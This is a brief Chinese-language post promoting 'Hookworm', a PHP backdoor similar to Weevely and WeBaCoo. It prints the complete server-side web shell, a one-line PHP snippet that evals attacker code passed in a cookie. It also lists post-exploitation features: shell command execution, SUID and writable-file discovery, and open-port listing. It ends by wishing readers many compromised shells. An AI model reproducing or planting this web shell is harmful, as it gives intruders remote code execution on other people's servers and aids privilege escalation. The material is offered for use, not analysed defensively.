Hookworm是又一款PHP后门程序,类似于Weevely和WeBaCoo，它的客户端是使用PHP编写的，在CLI下可以运行。服务端：<?php if(isset($_COOKIE['c'])) {eval($_COOKIE['c']); echo $_COOKIE['d'] . $r . $_COOKIE['d'];}?>。Hookworm的主要功能：
    Fork commands through shell_exec()
    Issue PHP commands
    Find all .htaccess files
    Find all .htaccess files
    Find all suid files
    Find all files with [name] in the filename
    Find all writable files and folders
    Show open ports on the machine
最后祝大家龙年shell多多...
